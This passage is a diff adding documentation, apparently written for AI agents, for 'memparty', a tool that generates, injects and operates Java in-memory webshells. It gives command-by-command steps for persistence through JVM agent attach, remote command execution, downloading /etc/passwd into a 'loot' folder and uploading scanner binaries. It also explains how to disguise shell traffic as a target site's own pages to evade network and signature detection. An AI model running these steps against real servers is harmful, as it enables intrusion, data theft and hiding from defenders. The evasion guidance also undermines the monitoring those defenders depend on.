+- Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`, `--command-template`
+- All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
+- Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
+- Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
+- v3+ obfuscation: `--obfuscate`, `--obfuscation-options enableControlFlow=false,...`,
+  `--obfuscation-scope ALL|MEMSHELL_INJECTOR|INJECTOR|MEMSHELL`; probe also accepts the first two.
+
+Output:
+- payload → **stdout** by default.
+- `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary.
+- `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling.
+- `-o` + `--json` together → the file is still written and the JSON gains an
+  `outputFile: {destination, size, decoded}` field — the recommended combo for agents
+  (metadata via JSON, payload on disk).
+- `-o` refuses aggregate packers (several variants in `allPackResults`) with an error
+  telling you to pick a leaf packer.
+- MCP: `generate_memshell` / `generate_probe` accept an `outputFile` arg with the same
+  behavior (auto-decode by extension, write result echoed back as `outputFile`).
+
+### Agent persistence and bytecode tools
+
+For an Agent shell, `--agent-args persist=true` / `--agent-args restore=true` supplies an
+attach-time argument, not a generation DTO field. It requires an `Agent*` shell type with
+`AgentJar`, `AgentJarWithJDKAttacher`, or
+`AgentJarWithJREAttacher`; `FilelessAgent` is a different delivery mechanism. Use the returned examples:
+`java -jar agent.jar <pid> persist=true` or
+`jattach <pid> load instrument false agent.jar=persist=true`; substitute `restore=true` to
+restore the original jar.
+
+`memparty bytecode decode -f Payload.class` decodes a class. `bytecode transform` accepts
+`--relocate-from/--relocate-to`, `--new-class-name`, `--random-name`, `--entry-method`,
+`--obfuscate`, `--probe-method ResponseBody|ResponseHeader`, `--server`, and `-p <packer>`.
+Use `-o` to write the transformed class, or the packed result when a packer is selected.
+MCP equivalents are `bytecode_decode` / `bytecode_transform`.
+
+## Step 4 — Verify the shell is alive
+
+Once a shell is injected/uploaded, `memparty connect` does the real protocol handshake and tells
+you whether it works (exit 0/1):
+
+```bash
+memparty connect -u <shell-url> -t godzilla --pass <pass> --key <key>   # defaults pass/key
+memparty connect -u <shell-url> -t behinder --pass <pass>               # default rebeyond
+memparty connect -u <shell-url> -t suo5                                 # add --suo5-mode v2|v1 to force
+```
+
+MemShellParty shells check an auth header — take `headerName`/`headerValue` from the
+`gen --json` output (`shellToolConfig`) and pass them along, or every check fails with an empty
+response (the v3 Suo5 shell checks it too):
+
+```bash
+memparty connect -u <shell-url> -t godzilla --pass pass --key key \
+  --header-name User-Agent --header-value <headerValue-from-gen-json>
+```
+
+Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`,
+`headerName`/`headerValue`, `suo5Mode`).
+
+Godzilla WebSocket / RawWebSocket uses a `ws://` or `wss://` URL. Tomcat Upgrade uses HTTP
+plus `--upgrade-protocol <fully-qualified-shell-class-name>`; save it with the target. A
+`GodzillaSession` shell connects with `-t godzilla`, which relays its session cookie.
+
+Self-signed TLS → add `-k/--insecure`; extra headers (cookies etc.) → repeatable
+`-H "Name: value"`. Both flags exist on `exec` too (over MCP: `insecure`, `timeoutMs`).
+
+## Step 5 — Execute commands on the shell
+
+Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and
+prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for
+`connect`:
+
+```bash
+memparty exec -u <shell-url> -t godzilla --pass pass --key key \
+  --header-name User-Agent --header-value <headerValue-from-gen-json> \
+  --cmd "whoami"
+memparty exec -u <shell-url> -t behinder --pass rebeyond \
+  --header-name User-Agent --header-value <headerValue-from-gen-json> \
+  --cmd "id"
+```
+
+- Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick
+  `cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection.
+- Behinder's `Cmd` payload detects the OS itself, so no flag is needed.
+- `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents.
+
+Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
+`headerName`/`headerValue`).
+
+## Step 6 — Transfer files
+
+`memparty upload` / `memparty download` move files through a Godzilla / Behinder shell (the
+real protocol — chunked, with integrity verification: remote size for Godzilla, MD5 for
+Behinder). Same credentials and gate header as `exec`:
+
+```bash
+memparty download -u <shell-url> -t godzilla --pass pass --key key \
+  --header-name User-Agent --header-value <headerValue-from-gen-json> \
+  /etc/passwd -o loot/passwd
+memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
+```
+
+- Download refuses to overwrite an existing local file unless `--force`; `-o` naming a
+  directory keeps the remote basename; no `-o` means `./<basename>`.
+- Upload overwrites the remote path (truncate + write), max 64 MiB per file; a failed
+  upload warns that the remote file may be partial.
+- Godzilla transfers cap at 2 GiB (payload int limit); downloads are buffered in memory.
+- Non-ASCII remote paths: fine on Behinder as-is. On Godzilla the path is decoded by the
+  server's platform charset — UTF-8 on JDK 18+/Linux; for old JDK (8/11/17) on Chinese
+  Windows pass `--remote-charset GBK` (MCP: `remoteCharset`).
+- `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }` —
+  file bytes never travel over MCP/stdout.
+
+Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `force`) and
+`upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
+paths are on the machine running the MCP server.
+
+## Site-mimicking traffic (mimic protocol)
+
+`mimic` is a demo protocol that shapes shell traffic after the target site's own pages:
+requests are browser-style form POSTs; responses are real site pages with the ciphertext
+hidden in a per-shell-unique marker (a JS variable or an HTML comment). The wire codec is
+selectable per profile (`cipher` section: AES/ECB, AES/CBC with random IV, or XOR; base64 /
+base64url / hex; optional key-derived junk tail). **You write the site profile — the CLI
+does not crawl.** That is the point: you can judge which page makes believable cover; a
+regex crawler cannot.
+
+### Workflow
+
+1. **Read the site yourself.** Fetch the homepage and 2-3 representative pages (plus the 404
+   page). Note the page structure, `<title>` style, link paths, Content-Type — and judge what
+   the site's **dominant traffic** looks like: a content site serves mostly HTML documents,
+   an SPA serves mostly JSON XHR, an admin console serves mostly form POSTs.
+2. **Match the dominant traffic first.** Blending in is a statistics game: your requests
+   should be the same *shape* as what the site already serves all day. A content site
+   serves HTML documents; an SPA serves JSON XHR; an AI product streams SSE — mimic
+   covers all of them: HTML pages (marker injected) or **any text response with a
+   `{{payload}}` placeholder** (JSON envelope, XML, JS, SSE chunks…) served with its
+   own contentType (a `text/event-stream` skin is flushed chunk by chunk, not as a
+   one-shot body), and form, JSON, or **fully templated request bodies**.
+3. **Scaffold + hand-write the profile:**
+
+   ```bash
+   memparty profile init acme --site http://target:8080
+   ```
+
+   This writes a skeleton to `~/.memparty/profiles/acme.json`. Now **edit that file with your
+   own file tools** — the CLI has no "fill" command; the content is your judgment, not a
+   command's output. Fill in:
+   - `templates`: **one or more** cover pages — the server rotates among them per response,
+     so the traffic doesn't repeat one page's length/hash. 2-4 pages is plenty; pick
+     **high-traffic, self-contained** ones (the pages real users fetch all the time), and
+     paste each HTML **verbatim** — do not "improve" it, real bytes are the whole point.
+     Each entry keeps its own `title` and `contentType`.
+   - With `--dynamic-path`, also probe what the site returns for a **random** path
+     (`curl -i <site>/<random>`): some consoles answer 200 with the login page for *every*
+     unknown path instead of a 404. Your templates should match that default response —
+     a 200 answer from the shell then mirrors the site's own behavior exactly.
+   - `paths`: the site's real path vocabulary, weighted toward the hot prefixes real traffic
+     hits (nav links, sitemap entries — not dead corners), e.g. `["/api/", "/news/", "/app/"]` —
+     first-level dirs, same origin only. Used for `--dynamic-path`.
+   - `request` (optional but recommended): the request's form shape — **one object or an
+     array the client rotates among** (with optional `weight`). `secretField` is the field
+     that carries the ciphertext; `secretIn` is where it rides: `"body"` (default, a form
+     field), `"query"` (a URL parameter) or `"header"`; `fields` are decoys. **Model it on
+     a real form the site already receives** — e.g. a console login POST. Value placeholders:
+     `{{hex:N}}` (N hex), `{{b64:N}}` (N base64url), `{{uuid}}`, `{{ts}}` (unix seconds),
+     `{{int:A:B}}`. Never ship the default `pass=<cipher>` single-field body — a lone
+     `pass=` parameter is a textbook webshell signature.
+   - `request.bodyTemplate` (optional, secretIn=body only): a **full request body** with
+     `{{payload}}` where the ciphertext goes — for traffic a flat form/JSON body can't
+     imitate: an OpenAI-style chat completion (`{"model":…,"messages":[{"role":"user",
+     "content":"{{payload}}"}]}`, pair with an SSE skin), a GraphQL envelope, an XML/SOAP
+     message, or a multipart/form-data upload (write the boundary literally in the
+     template — the Content-Type boundary is inferred from its first delimiter line, or
+     set it explicitly in `headers`). Decoy macros render per request. The filter
+     extracts the field from any raw body (JSON / multipart / XML anchors), so no
+     server-side change is needed per format.
+   - `cipher` (optional): the wire codec. Fields (all optional, defaults = the legacy
+     format `aes-ecb` + `base64` + `js-var` + no tail):
+     - `algorithm`: `"aes-ecb"` (fixed blocks — same plaintext ⇒ same ciphertext),
+       `"aes-cbc"` (random IV per message — same command encrypts differently every
+       time, the strongest default), `"xor"` (no JCE needed).
+     - `encoding`: `"base64"` | `"base64url"` | `"hex"`.
+     - `padTail`: `true` appends key-derived-length (0-15) random alnum garbage after
+       the encoded ciphertext — Behinder's `aes_with_magic` trick against length
+       signatures. Costs nothing, turn it on.
+     - `marker`: `"js-var"` (`var Re<md5(pass+key)[0:5]>_config="..."`) or
+       `"html-comment"` (`<!--Re..._config:...-->`) — pick whichever looks more at
+       home in the cover page.
+     ⚠️ The cipher is **baked into the filter at build time**. Editing `cipher` in the
+     profile afterwards desynchronizes client and server — rebuild + re-inject.
+4. **Use it:**
+
+   ```bash
+   memparty connect -u http://target/ -t mimic --pass <pass> --key <key> \
+     --profile acme --dynamic-path
+   memparty exec acme/mimic --cmd "whoami"   # profile rides along in the saved target
+   ```
+
+### Worked example
+
+Target: a company portal at `http://192.0.2.1:8080` — a classic content site (HTML
+documents dominate; no SPA).
+
+1. Fetch `/` and two linked pages. Observations: every page shares the same header/footer;
+   `/news/` is linked from the nav and returns a short self-contained list page; the nav
+   links are `/products/`, `/news/`, `/about/`; everything is `text/html; charset=utf-8`.
+2. `memparty profile init acme --site http://192.0.2.1:8080`.
+3. Edit `~/.memparty/profiles/acme.json` so it reads (template shortened here for display —
+   the real file must contain the page's FULL verbatim HTML):
+
+   ```json
+   {
+     "name": "acme",
+     "site": "http://192.0.2.1:8080",
+     "createdAt": "2026-07-19T08:00:00.000Z",
+     "templates": [
+       {
+         "title": "新闻动态 - ACME 科技",
+         "template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...full verbatim HTML...</html>",
+         "contentType": "text/html; charset=utf-8"
+       },
+       {
+         "title": "产品中心 - ACME 科技",
+         "template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...another page...</html>",
+         "contentType": "text/html; charset=utf-8"
+       }
+     ],
+     "paths": ["/products/", "/news/", "/about/"],
+     "request": {
+       "secretField": "verCode",
+       "fields": [
+         {"name": "csrftoken", "value": "{{hex:32}}"},
+         {"name": "j_username", "value": "admin"},
+         {"name": "j_password", "value": "{{hex:24}}"},
+         {"name": "agreement", "value": "on"}
+       ]
+     }
+   }
+   ```
+
+   Why these choices: `/news/` over the homepage — equally high-traffic but no carousel
+   JS/images, so no missing sub-request waterfall; two templates so consecutive responses
+   differ in length and bytes; `paths` are exactly the nav links real users click, not
+   guessed words; the `request` block mirrors the site's own login form, so the shell POST
+   is indistinguishable from someone signing in. (Templates shortened here for display —
+   the real file must contain each page's FULL verbatim HTML. A legacy single
+   `template`/`title`/`contentType` triple still loads, it just can't rotate.)
+4. Verify it parses, then connect:
+
+   ```bash
+   memparty profile show acme      # schema check happens here too
+   memparty connect -u http://192.0.2.1:8080/ -t mimic --pass s3cr3t --key k3y \
+     --profile acme --dynamic-path
+   # OK   mimic http://192.0.2.1:8080/
+   #      round-trip ok (profile=acme; dynamic path http://192.0.2.1:8080/news/x7q2mzab)
+   ```
+
+### What mimic handles vs. what you decide
+
+- Automatic: the selected codec (key = md5(key)[0:16] for every algorithm), per-shell
+  derived response delimiters, form-body encoding, browser-consistent request headers,
+  credential round-trip on `connect`.
+- Yours: the template page, the path vocabulary, the request pacing. Filter/listener-type
+  memory shells answer on any path, which is what makes `--dynamic-path` legitimate — for a
+  fixed-URL shell just omit the flag.
+- Limits: exec only (no upload/download); request timing/method mix is fixed, so pace your
+  commands like a patient human.
+
+### Server side — `memparty custom build`
+
+The server half is a plain `javax.servlet.Filter` generated FROM the profile and compiled
+locally — one command does the whole chain:
+
+```bash
+memparty custom build --profile acme --server Tomcat
+```
+
+What happens inside:
+
+1. renders `MimicFilter<rand>.java` from the profile (templates, carrier fields, **the
+   `cipher` section is baked in here**) + random `pass`/`key` (or `--pass/--key`);
+2. compiles it with the local JDK (`javac` on PATH, servlet API jar bundled — no other
+   dependency);
+3. submits the class to the MemShellParty backend as `shellTool=Custom`, which wraps it
+   with the injector for `--server` (any server from `memparty config tools` — the filter
+   itself has zero middleware specifics) and packs it with `--packer`
+   (default `DefaultBase64`);
+4. writes an output dir (default `<profile>-build/`): the `.java`/`.class`, one
+   `payload-*.txt` per pack variant, and **`manifest.json`** — the single source of truth
+   for the follow-up (credentials, cipher, class names, ready-made connect command).
+
+Then: inject the payload through your foothold (deserialization RCE `defineClass`, an
+existing shell that evaluates scripts, an agent loader…), and connect with the printed
+command — a successful `connect` auto-saves the target, afterwards
+`memparty exec <host>/mimic --cmd "id"` needs no flags.
+
+Notes that matter:
+
+- **Random class name every build** (`--out` keeps builds apart): a running JVM can't
+  re-define a class, so re-injection NEEDS the fresh name — never reuse one.
+- The printed `--pass/--key` are random per build unless you pin them; they're in
+  `manifest.json`, not in your shell history if you use `--json`.
+- The filter probes carriers with `getParameter()`/`getHeader()` only (never reads the
+  body stream), passes undecryptable values through `chain.doFilter`, and answers errors
+  with the plain cover page — it coexists with the site's real forms and other shells.
+- Filter-type deployment truth learned on a real console: **dynamic path is conditional
+  on the target app's own filters** — probe a random path first, fall back to the fixed
+  working path when the app answers everything itself.
+
+### Reality check before relying on it
+
+Run `memparty demo` once and read the printed request URL and response: the traffic should
+be indistinguishable from a normal page view at a glance. Two ways it still stands out:
+
+- **Missing sub-requests**: if your template page has assets (CSS/JS/images) a real browser
+  would fetch, a NDR notices their absence — prefer self-contained pages.
+- **Volume mismatch**: signature devices look at bodies, but statistical detection looks at
+  baselines — hitting a rarely-used path shape (or HTML on an API site) deviates from it.
+  That is why the dominant-traffic rule above outranks everything else.
+
+## Step 7 — Save targets, switch by name
+
+Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
+with an optional remark and category), then reference it as `<project>/<shell>`:
+
+```bash
+memparty save web1/bh9060 -u <shell-url> -t behinder --pass rebeyond \
+  --header-name User-Agent --header-value <headerValue-from-gen-json> \
+  --remark "内网测试环境" --category test --shell-remark "root 权限"
+memparty list                      # everything, or --category test
+memparty exec web1/bh9060 --cmd "whoami" # no other flags needed
+memparty exec web1 --cmd "id"            # bare project works when it holds one shell
+```
+
+MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`,
+`projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note`
+(project meta, or a shell's remark when `shell` is given), `target_remove`; then pass
+`name: "<project>/<shell>"` to `connect_test` / `exec_command`.
+The store lives at `~/.memparty/targets.json`.
+
+## Step 8 — Audit with the operation log
+
+Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended to
+`~/.memparty/operations.jsonl` — no credentials, no payload bytes, no file contents; exec output
+is truncated.
+Query it to recall what was done against a target:
+
+```bash
+memparty log --category exec --target web1
+```
+
+Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past
+actions before repeating them, or to answer "what did we run on this host?".
+
+## Gotchas
+
+- **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
+  → non-prefixed. Picking the wrong family = the shell won't load.
+- **JDK target.** `--jdk java6/8/9/11/17/21/25` (or bare `8`, or raw major `52`). Match (or stay ≤) the
+  target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`.
+- **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a
+  special injector class name — the CLI generates one automatically; don't override
+  `--injector-class-name` for these.
+- **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves.
+- **v3 packer parents are categories** — pick a concrete variant (legacy v2 aggregates return multiple variants).
+  `-o`/`outputFile` refuses them outright (error tells you to pick a leaf packer).
+- **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they
+  aren't class-byte payloads.
+- **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but
+  don't trust payloads from public services in real engagements — self-host with Docker and use
+  `MEMPARTY_API_URL` or `--api`).
+
+## Reverse: parse a class name
+
+Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)?
+
+```bash
+memparty parse-classname --file shell.class
+memparty parse-classname <base64-of-class-bytes>
+```